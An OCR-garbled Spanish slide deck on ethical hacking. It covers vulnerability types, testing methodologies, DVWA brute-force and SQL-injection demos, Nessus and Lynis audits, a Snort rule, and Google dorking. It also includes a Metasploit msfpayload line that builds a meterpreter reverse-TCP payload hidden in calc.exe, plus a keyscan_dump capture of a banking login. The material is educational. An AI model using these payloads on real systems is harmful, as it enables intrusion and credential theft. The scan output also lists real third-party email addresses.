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Introduccion

Este trabajo expone los problemas de seguridad que existen en los
sistemas informaticos, orientado al hacking ético. Para ello hemos
trabajado con las principales herramientas de seguridad y tratado
algunas vulnerabilidades importantes.

Se definen las siguientes acciones para este proyecto:

* Investigar tipos de vulnerabilidad, como se detectan y como las
publican, tipos de organizaciones y sus politicas

- Buenas Practicas y Metodologias

- Demostracion practica de algunos tipos de ataques en servidores
Web.

- Auditoria real en una empresa generando report y auditoria Wireless
* Prueba de penetraciéon con Metasploit
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Perfil del Hacker ético

v Experto en algun campo de la informatica

v Conocimiento de sistemas operativos y redes
v Conocimiento de Hardware y Software

v Conocimiento de lenguajes de Programacion
v Ayudar a defender los sistemas informaticos
contra ataques.

v’ Descubrir la vulnerabilidad y no aprovechar

para su beneficio propio.

0
& — 8= | Pruebade Seguridad en Red Local
"

Red Local
L5

Ataque a Firewall
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Vulnerabilidades

Los tipos de vulnerabilidades mas comunes son:

Buffer Overflow - Ultrapasar limite de la memoria

Inyeccion de codigo (SQL Inyection) - Validar entradas con cédigos.
Cross Site XSS ->Campo de entrada no dispone de filtros
Cracker - Sacar el codigo de registro para validar la aplicacion.
Ingenieria Social - Engafar el usuario para infiltrar en el sistema.
Race Condition - Acceso simultaneo al sistema.

Redes Wi-FI - Ataques a redes inalambricas.

Pueden ser clasificadas segun sea su nivel en :

Medias Altas @
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Divulgar y detectar la vulnerabilidad.

El proceso para detectar una vulnerabilidad sigue estas etapas:

..
J Enumerar

>

\ Eﬂ“ﬂ'!/ ~ wulnerabilidad

Los grupos y politicas importantes:
CERT/CC: Maximo grupo responsable de publicar las vulnerabilidades.

RPP: Rainforest Puppy Policy que son las politicas de divulgacion que
debera seguir.

OIS: Organizacion para la Seguridad en Internet ayudara a adaptar
mejor las politicas de seguridad.
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Buenas Practicas y Metodologias

OTP (OWASP Testing Project)

Metodologia méas importante para aplicaciones Web , tiene mas de 300 tipos de soluciones

i/%

Servidor Web

OSSTMM

Framework para crear teste de seguridad

ISSAF (Information System Security Assessment Framework)

Framework para testeo de seguridad , donde trabaja con revisiones de expertos del sector.
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Actualizaciéon

BD_ISSAF Profesional Experto en Seguridad
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Informes

Después de realizar una auditoria se crea un informe que debera ser entregado a la empresa.

01/2014

Red Auditada:

Informacion General de la Red:

[

Numero de Contrasefias Web Interceptadas:
Numero de Comunicaciones Cifradas Interceptadas:
Informacion general de la red:

-~

Direcciones de red auditada
Numero total de equipos
Numero total de intrusiones ejecutadas a los equipos de la red

Tabla con las contraseias Web interceptadas.

Tabla con las comunicaciones cifradas interceptadas.

o
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» Muchas herramientas ya sacan los informes después de realizar la auditoria.
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Tipos de ataques en Servidor Web (1)

Se realiza una prueba de un ataque de Fuerza Bruta a un Servidor Web (DVWA).

SROWSER Burp Suite Servidor DVWA
M Do Vuinerable Wb App (DV... 5 Burp SuieFeo Editon vL.6 voox
&8 [@ miservidordev - € [@B Burp Intruder Rapaster Window Halp
Target | 1 | pder | scamne | riruder | Repaster | sequancer | Dacoder | Comparr | Estandsr | optons | Alets |
Dm D Intercept | HTTP history IWehﬁu(h!ﬁhwsimy Options.
I\ / ZJ Request to hitp imiservidor.dev:80 [127.0.0.1] |}
| Fotwwd || Dep | Intareaptis on | adion | ¢ this ten L} D
= Vulnerability: Brute Force aw | Paras | s [ e |
f 1 = GET /vulnerabilities/brute/?username=cristiano&password=123458Login=Login HTTP/1.1 A
— Logln Host: mservidor.dev
Setup User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux 1685; rv:20.0) Gecko/20100101 Firefox/20.0

Usemame: Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
H—T—] cristiano b Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
P 77} Accept-Encoding: gzip, deflate
~Command Execution cesee | Referer: http://miservidor.dev/vulnerabilities/brute/

CSRF Login Cookle: PHPSESSID=2dpSe3khtrkbkj34eqdgl6feia; security=low

Connection: keep-alive

Entrada de datos Captura la entrada
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<1nput type="submit" value="Login' name='"Login's= .
</form=
I_quetcame To the password protected area aa_mn:/p_|, :)
T T
</div= v
- EE 6 = S
Firishad | ! |

Ejecuta una payload para encontrar la password




Tipos de ataques en Servidor Web (ll)

Se realiza la prueba SQL Inyeccion en el Servidor Web DVWA

( & miservidor.dev/vulnerabilities/sqli/?id="'OR'x'%3D'x &Submit=Submit# c

. e . O
-: Administrator Login :- D\@ ~

Usemame :  “OR ‘x"='x i o Hacker
Password : eeessssscsse Home Vulnerability: SQL Injection
lnsmuctons ]| yser p: - ¢ ;
/ 'OR%'=% Submit D \
< — . -
‘ e — Servidor Web DVWA
ID: \
2 \
A —
\ OR X=X -
‘union allselect’ | (3 )
‘OR 0-0-- "’
—

Después de introducir un codigo en el campo Username comprobamos que por
una mala programacion ese codigo hace una consulta a la base de datos del
servidor web y retorna todos los usuarios de una tabla.

O Como prevencion podemos utilizar algunas funciones de filtrado.
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Pruebas de enumeracion

Las pruebas de enumeracion se trata de la fase donde recolectaremos toda
informacion relacionada con los puertos, servicios, sistemas operativos,
nombres de usuarios, equipos y recursos de red.

O Herramienta importante en esta fase: nmap , hping, ping

Edit elp

Compruebo el estado de los puertos de una pagina Web

Posibles estados de los puertos son:

e Abierto
« Cerrado
e Filtrado

01/2014
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Auditoria Aplicacion Web

Este tipo de auditoria consiste en comprobar las posibles vulnerabilidades existentes en una
determinada aplicacion Web. Esta prueba se puede realizar de manera automatica mediante
alguna aplicacién, utilizaremos la Websecurity que viene con Backtrack.

MName

B3 Email Disclosure
= email disclosed: infomx@uoc.edu

email disclosed: mihai_bazon@wyahoo.com
email disclosed: seleccio@uoc.edu

email disclosed: relint@uoc.edu

email disclosed: opinions@uoc.edu

email disclosed: queries@uoc.edu

emalil disclosed: jolyon@nixbox.com

email disclosed: cooperacio@uoc.edu

email disclosed: businesschool@uoc.edu

email disclosed: rectorn@uoc.edu

email disclosed: uocmetrics@gmail.com

email disclosed: empreses.associades@uoc.edu
email disclosed: fancybox_loading@2=x.gif
email disclosed: janis@fancyapps.com

email disclosed: fancybox_sprite@2x.png

+ v ¢ Workspace (wwnwuoc.edu 13 May 2014)

B0 SesnCookenot Faggedashroy
+/4 Autocomplete Enebled

+ 1 HTTP Banner Disclosire

+ 4 Email Disclosure

k

email disclosed: serveiling@uoc.edu
email disclosed: isanchez@uoc.edu

Prueba realizada en la web www.uoc.edu , detecta un fallo donde es posible ver emails de
posibles usuarios. Esta informacién puede ser utilizada para un posible ataque.

Informacion del nombre servidor Web y la version
gue esta trabajando. Lo mas correcto seria no
dejar esta informacion disponible en el banner.
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Auditoria en Sistema Operativo

La fase de auditoria en sistema operativo es muy importante en el proceso de
auditoria de seguridad. Con esta prueba podemos ver los puntos que son
considerables débiles y las mejores medidas que debemos tomar para

solucionarlo.

Para esta prueba hemos realizado una auditoria en un sistema Linux con la
aplicacién Lynus. Se ejecuta: usrisbin/lynis —auditor Cristiano —reverse-colors —profile auditoria_linux

[+] Initializing program

- Detecting 0S...
- Clearing log file (/var/log/lynis.log)...

Program version: 1.2.9
Operating system: Linux
Operating system name: Ubuntu

DOperating system version: 12.04
Kernel version: 3.2.0-61-generic

Hardware platform: i686

Hostname : Servidor_Principal
Auditor: Cristiano

Profile: auditoria_linux

Log file: /fvar/log/lynis.log
Report file: /var/log/lynis-report.dat
Report wversion: 1.0

[ DonE ] - (hecking PAN password strength tools

T LIICLR JUUUTI 3 |111C PEIMLJJLUHJ [ W |

[ SUGGESTION ]

[+] Hardening
- Installed compiler(s)...
- Installed malware scanner...

Inicialmente en el sistema Linux hemos creado una password debil y se
comprueba tras la auditoria que hay una sugerencia para modificarla.

01/2014
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Mecanismo para Detencidon DoS

Para prevenir el tipo de ataque DoS (Denegacion de servicio), utilizamos un IDS (Sistema
para detecta intrusion). Con este sistema podremos filtrar todo lo que pasa por la red y
comprobar posibles ataques. Una de las herramientas mas importantes es Snort, debajo
tenemos un SERVIDOR configurado para detectar este tipo de ataque.

@W

e //Zomhie )

Zombie

r s
| //

AN sv‘{, 4 m;/ Log con el resultado del posible ataques de PC’S
\ ‘ externos.

A
[/ /
//

|

\

\
\
|
|

_5 Servidor IDS (Snort)

SERVIDOR

alert tcp any any -> any any (flags: S; threshold: type threshold, track by_dst, count 2, seconds 1; msg: “PC externo hace ping";)

# alert -- Activar mensaje de alarma.

# tcp -- Tipo de protocolo que filtra.

# any any -> any any — Direccion del puerto origen/destino.
#itype: 8 -- El tipo de mensaje del protocolo.

# msg — El mensaje que aparecera en el log

# sid — Numero interno de identificacion para la regla.
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Auditoria con Nessus (I)

Nessus es una gran herramienta para realizar auditoria en una red interna con la finalidad de
encontrar posibles vulnerabilidades. Para ello hemos realizado una prueba en una empresa.
Definimos previamente que tipo de prueba se debera realizar.

Escaneo de Puertos Rede 172.25.5.0... Eport ~ Audit Trail Grl © pacid
Saans > Hosts [B) ulnerabilites Remediations Notes Hide Details K Hide Det
Host Inerabilit Scan Details ity Phugin N: Plugin Family
1722552 [ T Name cRmCAL Microsoft Windaws XP Unsupported Instalation Detection Windows
Folder:
17225511 [ = | . ) BB v512-020: Vulnerabilties in Remote Desktop Could Allow Remote Code .. Windows °
atus: Al .
Policy: o
722551 [ = | ’ Micrasoft Windows SME NULL Session Authentication Windons 5 i
Targets Targets: 24
S Starttime:  Thu May 15 05:44:58 2014 o /15 05:44:58 201
22551 B Vulnersbiltes Wicrosoft indows Remate Desitop Protocol Server ian-in-hetidde . Windows .
Vulnersbilities
Ter cryption Level is Medium or Low Misc.

e

e

[ 0w R ces Encryption Level is not FPS-140 Compliant Misc.
Nessus TCP scanner Port scamers 2
Microsaft Windows SMB Se tect d 1

En el resultado podemos comprobar los hosts afectados , la gravedad y también el tipo de
vulnerabilidad. A partir del listado de vulnerabilidad podemos ir trabajando por importancia
de la gravedad. En cada caso Nessus informa de la solucion para remediar el problema.

01/2014
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Auditoria con Nessus (Il)

Nessus ofrece un informe con las vulnerabilidades por cada host, con su descripcion
detallada y la posible solucion.

17225511

Scan Information
Start time: Thu Msay 15 05:45:12 2014

End time: Thu May 15 05:54.52

014

Host Information

DNS Name: Por Seguridad hemos borrado el DNS de la empresa auditada.
Netbios Name: DMURGN2

1P 172.25.5.11

MAG Address: 00:25:b3:18:5d:of

os: Microseft Windows XP Service Pack 2, Micresoft Windows XP Service Pack 3

Results Summary

Critical High Medium Low Infe Totsl
1 1 1 28 33
Results Details

10114 - ICMF Timestamp Reguest Remote Date Disclosure

B 72182 - Micoscft Windows XP Unsupported Installstion Detection =
B 04786 - Nessus Windows Scan Not Performed with Admin Privileges

B 12052 - Hest Fully Qualified Domain Neme (FQDN] Reseluticn =
B 55320 - TCRIP Timestsmps Supported =
B 35716 - Ethemet Card Manufacturer Detection 4]

72182 {5) - Microsoft Windows XP Unsupported Installation Detection
Synopsis

The remate operating system is no longer supported.
Description

The remote host is running Microscft Windows XP.

Suppert for this opersting system by Microscft ended April th, 2014.
This means that there will be no new security patches, snd Miceseft is unlikely to gsteora reports of

See Also
htp: nessus.org/u?33catafld

Solution

Upgrade to a version of Windows that is cumently supported Solucion propuesta
Risk Factor

Critical
CVS Base Score

10.0 {CYSSZHAV.NAC: LiAu: NIC:CI:CIAC)
Plugin Information:

Publication dste: 2014/02/25, Modification dste: 2014/05/08 Podemos ver que se trata de un plugin nuevo
Hosts
172.25.5.11 {tep/0

172.25.5.13 ftcpl0)

Equipos Afectados
172.25.5.14 {tep/0)
172.25.5.20 {tcpl0)

172.25.5.23 {tcpl0)

01/2014
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Prueba Penetracion con METASPLOIT (1)

METASPLOIT se puede realizar muchas pruebas de penetracion, es muy importante para

cualquier Hacker ético.

Servidor Proxy
Internet

msfpayload Windows,/meterpreter/reverse_tcp LHOST=
192.168.1.24 LPORT=4444 x > fhome/calc.exe

“g |

Backtrack . /
Hacker N
LHOST=192.168.2.24  TTTm=—ao w

Cristiano
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El Hacker ha inyectado un cédigo malicioso al programa calc.exe y enviado a la red, el
usuario cristiano ejecuta ese programa, a partir de ese momento el atacante tiene total

acceso a su maquina.
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Prueba Penetracion con METASPLOIT (II)

Se queda en modo escucha:

exploit( ) > exploit

*] Started reverse handler on 192.168.1.61:4444
*] Starting the payload handler...

192.168.1.61:4444
IP DEL PC DE LA VICTIMA
t0(192.168.1.180
(192.168.1.61:4444 -> 192.168.1.180:6078) at 2014-05-18 19:32:3

Después que la victima ejecuta el
archivo infectado, el atacante tiene
total control de su equipo. En la
imagen de la derecha podemos ver
los procesos que estan en ejecucion. g&
Utilizaremos el proceso explorer.exe
gue permite ejecutar algun sniffer
para alguna aplicacion.

B EPARYY
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Prueba Penetracion con METASPLOIT (llI)

« C f |ﬁ Caixabank [ES]| https://portal.lacaixa.es/home/particulares_es.html |

Accién CABK 4,29

)6 +178% 17:37 W v | CaixaBank | Banca Personal | Banca Privada | Empresas Castelano ¥
n] C P
K "laCaixa o e rarir oo v [

Particulares Productos v Infantil LKXA multiEstrella Club Ahora CaixaNegocios Buscador de oficinas v Canal mévil v

Libreta Proyecto Estrella =

Tu sueno esta
cada vez mas cerca
¢Has olvidado tu PIN? X Realiza una aportacion

Aporta ya a tu plan

Alta en Linea Abierta » extraordinaria y
Acceso con teclado virtual » H Tarjetas de crédito. Planes de pensiones.
hazlo realidad \ Solicta tu tarjeta y llévate ~ Aporta a tu plan y
este set de playa consigue esta camara

v Desde 30 €

v Ahora, las aportaciones
Busca tu = extraordinarias también se
a benefician de la prima final

N =N

piso en . i
Servihabitat CaixaNegocios

En persona

L [t gy —— . 000 ! ot

El usuario entra con su identificacion y password en la pagina de un banco

extra del 0,75 % nominal anual

3

cristiano
123456789

Pagina Web Visita  Identificacion Numero Secreto
Identificacion N° secreto {PIN 1)
cristiana il Entrar »

Se captura la informacion que digita el usuario con keyscan_dump
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Hacker Google

Con esa técnica podemos utilizar operadores avanzados de google para filtrar la
informacion y encontrar datos confidenciales como passwords, vulnerabilidades
en paginas Webs, etc.

Los tipos de operadores mas comunes son:

intitle = busca paginas con un determinado titulo.
allintitle >busca pagina con el titulo especifico.
filetype - busca un tipo de archivo especifico.

allintext =busca el texto indicado.

€ C' A |[) 209.142.155.49:3080/music/

Index of /music
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Intitle: "Index of" "Parent Directory" "Mame" g n
Hame L cdified

Web Videos Imagenes Shopping Maps Mas = Herramientas de busqueda
a E 06-Sep-2009 18:46

Pagina 7 de aproxwmadameme&ﬂﬂﬂ resultados (0,18 segundg g i:ﬁi ;Ziéjgijoo‘ 13:03

/ -Jan-2011 17:53

a 311/ 19-Dec-2003 17:08
a 4 _Non Blondes/ 01-Nov-2003 14:08
E] 730 _Robot_Head/ 23-May-2001 00:06
E] ABC/ 28-May-2005 17:08
a AC-DC/ 14-Dec-2007 18:05
@ arss 11-Mar-2002 20:17
E] L Ha/ 28-May-2005 17:06
a & House/ 15-Nov-2004 14:24
a & _Perfect Circle/ 21-0ct-2011 18:33
—

™~
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Auditoria Wireless

Tipos de cifrados:

WEP - Clave estatica de 40 a 104 bits , es el mas antiguo.
WPA - Trabaja con clave compartida PSK y Pre-shared-key.

WPA-2 - La mas segura pero necesita hardware y software especial.

Podemos utilizar una herramienta para realizar una auditoria Wi-Fi y comprobar
las redes que trabajan con tipo de cifrado débiles.

| £| WIFI Auditor EI_IQ | £:| WIFI Auditor EI_IE
Archivo Redes Manual Ayuda Archivo Redes Manual Ayuda
Redes disponibles: 8 Redes disponibles: 1
Nombre Contrasefia Conectar Mombre Contrasefia Conectar

ONO0T9234 L] WLAN_DE | oo s [
ONDEF&7 [
vodafonedCBC L]
WLAN_DE L]

Il |JAZZTEL_BG16 L]
MARCS2 L]
BALLQUI L '
vodafonedATA L]
[] Conectar automaticamente Auditar redes Conectar ] Conectar automaticamente Auditar redes Conectar
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Conclusion

En este proyecto hemos investigado sobre las funciones que desarrolla
un profesional de la seguridad informatica, la linea de trabajo del hacker
ético.

Hemos podido ver que el trabajo de un hacker ético esta estructurado
en metodologias y buenas practicas. Haciendo el uso correcto de esta
estructura podra detectar las vulnerabilidad con mayor eficiencia.

Existe una variedad de herramientas para la deteccion de la
vulnerabilidad. El hacker ético debera de hacer uso de la herramienta
correcta para cada situacion.

No existe ningun sistema que esté libre de algun ataque informatico,
para ello siempre estara el hacker ético investigando en busca de
soluciones para minimizar los fallos de seguridad.
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Contacto

(5
@ http://www.linkedin.com/in/cristiano-dias

m cristianodias1905@gmail.com
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